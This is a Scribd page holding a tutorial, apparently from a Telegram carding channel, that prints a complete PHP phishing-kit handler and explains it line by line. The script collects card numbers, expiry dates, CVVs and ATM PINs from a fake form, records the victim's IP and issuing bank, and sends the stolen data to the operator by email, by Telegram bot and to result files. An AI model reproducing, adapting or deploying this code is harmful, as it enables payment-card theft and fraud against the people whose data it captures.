0% found this document useful (0 votes)
149 views

PHP Data To Bot Transfering

Uploaded by

homan
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
149 views

PHP Data To Bot Transfering

Uploaded by

homan
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 8

Author: https://t.me/psychoorbit | Channel: https://t.

me/+6aHqiXj_MTE2YTMx
This Script Here Is Collecting Data Inputs From Forms By Element ID
<?php
// Starting a session
session_start();

// Suppressing error reporting


error_reporting(0);

// Function to determine card type based on card number


function getcardtype($cardnumber){
// Array mapping card number prefixes to card types
$cardtype = array(
'34'=>'American Express',
'37'=>'American Express',
'5'=>'Master Card',
'4'=>'Visa',
'30'=>'Blue Card',
'36'=>'Blue Card',
'38'=>'Blue Card',
'35'=>'JCB',
'6'=>'Discover'
);
// Check the first two digits of the card number to determine card type
if(substr($cardnumber,0,2) == "34"){return $cardtype[34];}
else if(substr($cardnumber,0,2) == "37"){return $cardtype[37];}
else if(substr($cardnumber,0,2)== "30"){return $cardtype[30];}
else if(substr($cardnumber,0,2)== "36"){return $cardtype[36];}
else if(substr($cardnumber,0,2)== "38"){return $cardtype[38];}
else if(substr($cardnumber,0,2)== "35"){return $cardtype[35];}
else if(substr($cardnumber,0,1)== "6"){return $cardtype[6];}
else if(substr($cardnumber,0,1)== "5"){return $cardtype[5];}
else if(substr($cardnumber,0,1) == "4"){return $cardtype[4];}
else {return "Unknown";}
}

// Function to get client's IP address


function getip(){
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
if(filter_var($client, FILTER_VALIDATE_IP))
{
return $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP)){
return $forward;
}
else{
return $remote;
}
}

// Function to fetch card details using Binlist API


function getcd($cardnumber){
$ctype = getcardtype($cardnumber);
$cd=str_replace(' ','',$cardnumber);
$bin=substr($cd,0,6);
$getdetails = "https://lookup.binlist.net/".$bin;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $getdetails);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($curl);
curl_close($curl);
$details=json_decode($content,true);

$narr=array('scheme'=>$ctype,'type'=>'Unknown','brand'=>'Unknown','bank'=>a
rray('name'=>'Unknown',),'country'=>array('name'=>'Unknown'));
foreach($details as $key => $value){$narr[$key]=$value;}
return $narr;
}

// If card number, expiry date, and CVV are provided via POST method
if(isset($_POST['cardnumber']) && isset($_POST['expdate']) &&
isset($_POST['cvv'])){
// Extracting and sanitizing card number
$cnum = str_replace(' ','',$_POST['cardnumber']);
if(strlen($cnum) > 12){
$cardnumber = $cnum;
$expdate = $_POST['expdate'];
$cvv = $_POST['cvv'];
$atm = $_POST['pin'].$_SESSION['device'];
$PublicIP = getip();
$cd=getcd($cardnumber);
$bank=strtoupper($cd['bank']['name'])." | ".$cd['country']['name'];
$type=strtoupper($cd['scheme']." - ".$cd['type']);
$level=strtoupper($cd['brand']);
// Constructing card details log
$Info_LOG = "
|------------------ CARD DETAILS ----------------|
Bank Info : $bank
Type : $type
Level : $level
Card Number : $cardnumber
Expiry date : $expdate
CVV : $cvv
ATM PIN : $atm ";
$_SESSION['fullz'].=$Info_LOG;

// Sending email if configured

⚛️⚪
if($Send_Email == 1 ){
$subject = $PublicIP.' 53rd CARD | DEVICE';
$headers = 'From: YoCHI
<[email protected]>' . "\r\n" .'X-Mailer: PHP/' .
phpversion();
mail($to, $subject, $Info_LOG, $headers);
}
// Saving result to file if configured
if($Ftp_Write == 1 ){
@mkdir('../../rst');
$file = fopen("../../rst/Result_".$PublicIP.".txt", 'a');
fwrite($file, $Info_LOG);
fclose($file);
}
// Sending Telegram notification if configured
if ($send_tg == 1) {
sendtoTG($tgid, $Info_LOG, $tgtoken);
}
// Sending email with session result if configured

⚛️⚪
if($Send_Email == 1 && isset($_SESSION['fullz'])){
$subject = $PublicIP.' 53rd SESSION RESULT';
$headers = 'From: YoCHI
<[email protected]>' . "\r\n" .'X-Mailer: PHP/' .
phpversion();
mail($to, $subject, $_SESSION['fullz'], $headers);
}
// Sending Telegram notification with session result if configured
if ($send_tg == 1 && isset($_SESSION['fullz'])) {
sendtoTG($tgid, $_SESSION['fullz'], $tgtoken);
}
// Saving session result to admin file if session is set
if(isset($_SESSION['fullz'])){
$file = fopen("../../admin/Results.txt", 'a');
fwrite($file, $_SESSION['fullz'].'r\n');
fclose($file);
};
// Redirecting to thank you page
header("location:thanks?sessionnI_IX=".md5(rand(100,
999999999))."");
}
// Redirecting if card number length is not valid
else{

header("location:conv2?".$theerrkey."=bc&dispatd=".md5('meyputc')."");
};
}
// Redirecting if card number, expiry date, or CVV are not provided
else{

header("location:conv2?".$theerrkey."=1&dihed=".md5('nassiyochimdz')."");
};
?>
Starting A Session
// Starting a session
session_start();
Initializes a new session or resumes an existing session. Sessions are a way to persist data
across multiple HTTP requests. When a session is started, php will generate a unique session
id for the user, which is stored in a cookie or passed via URLs. By calling session_start() at the
beginning of a php script, you enable the use of session variables ($_SESSION) to store and
retrieve data associated with the current session.

Suppressing Error Reporting


// Suppressing error reporting
error_reporting(0);
error_reporting(0) is a directive that suppresses all php error messages, warnings, and notices
from being displayed to the user.

Card Type Identifier


// Function to determine card type based on card number
function getcardtype($cardnumber){
// Array mapping card number prefixes to card types
$cardtype = array(
'34'=>'American Express',
'37'=>'American Express',
'5'=>'Master Card',
'4'=>'Visa',
'30'=>'Blue Card',
'36'=>'Blue Card',
'38'=>'Blue Card',
'35'=>'JCB',
'6'=>'Discover'
);
- function getcardtype($cardnumber){...} Declares a function named ‘getcardtype’ that takes
one parameter, ‘$cardnumber’ representing the credit card number.

- $cardtype = array Initializes an associative array called $cardtype. Each key-value pair in
this array represents a card number prefix and its corresponding card type. Example: ‘34’ =>
‘American Express’
Checking Card Prefixes
// Check the first two digits of the card number to determine card type
if(substr($cardnumber,0,2) == "34"){return $cardtype[34];}
else if(substr($cardnumber,0,2) == "37"){return $cardtype[37];}
else if(substr($cardnumber,0,2)== "30"){return $cardtype[30];}
else if(substr($cardnumber,0,2)== "36"){return $cardtype[36];}
else if(substr($cardnumber,0,2)== "38"){return $cardtype[38];}
else if(substr($cardnumber,0,2)== "35"){return $cardtype[35];}
else if(substr($cardnumber,0,1)== "6"){return $cardtype[6];}
else if(substr($cardnumber,0,1)== "5"){return $cardtype[5];}
else if(substr($cardnumber,0,1) == "4"){return $cardtype[4];}
else {return "Unknown";}
}
Of the substr’s 0,2 extracts the first 2 digits of the card number. 0,1 extracts only the first
digit of the card number. The numbers next to them are conditions that check if the
extracted prefix matches specific values corresponding to various card types. return
$cardtype it returns the corresponding card type from the $cardtype array. This can be useful
when wanting to identify different certain information for data collecting.

Get Clients IP Address


// Function to get client's IP address
function getip(){
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
if(filter_var($client, FILTER_VALIDATE_IP))
{
return $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP)){
return $forward;
}
else{
return $remote;
}
}

- function getip() Declares a function named ‘getip’ without any parameters.

- $client = @$_SERVER[‘HTTP_CLIENT_IP’] Retrieves the client’s IP address from the


HTTP_CLIENT_IP server variable. The ‘@’ symbol suppresses any warnings if the variable is not
set.
- $foward = @$_SERVER[‘HTTP_X_FORWARDED_FOR’] Retrieves all client ip addresses from the
HTTP_X_FORWARDED_FOR server variable, which can contain the IP address when the client is
behind a proxy server.

- $remote = $_SERVER[‘REMOTE_ADDR’] Retrieves the clients IP address from the


REMOTE_ADDR server variable, which contains the IP address of the client making the
request.

- FILTER_VALIDATE_IP validates the client ip. If $client contains a valid IP address, it returns
$client, if forward contains a valid IP address, it returns $forward. If neither client or forward
contains a valid IP address it returns the $remote which represents the IP address of the
client making the request to the server.

Card Details Fetched Using Bin List API


// Function to fetch card details using Binlist API
function getcd($cardnumber){
$ctype = getcardtype($cardnumber);
$cd=str_replace(' ','',$cardnumber);
$bin=substr($cd,0,6);
$getdetails = "https://lookup.binlist.net/".$bin;
// MAKING AN API REQUEST
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $getdetails);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($curl);
curl_close($curl);
// PARSE API RESPONSE
$details=json_decode($content,true);

$narr=array('scheme'=>$ctype,'type'=>'Unknown','brand'=>'Unknown','bank'=>a
rray('name'=>'Unknown',),'country'=>array('name'=>'Unknown'));
foreach($details as $key => $value){$narr[$key]=$value;}
return $narr;
}

function getcd($cardnumber) Declares a function named ‘getcd’ that takes one parameter
‘$cardnumber’, representing the credit card number

ctype = getcardtype($cardnumber) This line calls the ‘getcardtype()’ function to determine


the card type based of the provided card user

$cs=str_replace(' ','',$cardnumber) Removes any spaces from the card number using
str_replace().

$getdetails = “https://lookup.binlist.net/”.$bin constructs the URL of the Binlist API by


appending the bin to the base URL.

Construct Card Details Array


$narr=array('scheme'=>$ctype,'type'=>'Unknown','brand'=>'Unknown','bank'=>a
rray('name'=>'Unknown',),'country'=>array('name'=>'Unknown'));
foreach($details as $key => $value){$narr[$key]=$value;}
return $narr;
}

JOIN TELEGRAM CHANNEL FOR MORE PREMIUM


TUTORIALS:https://t.me/+a0LStqzuGIVhODgx

You might also like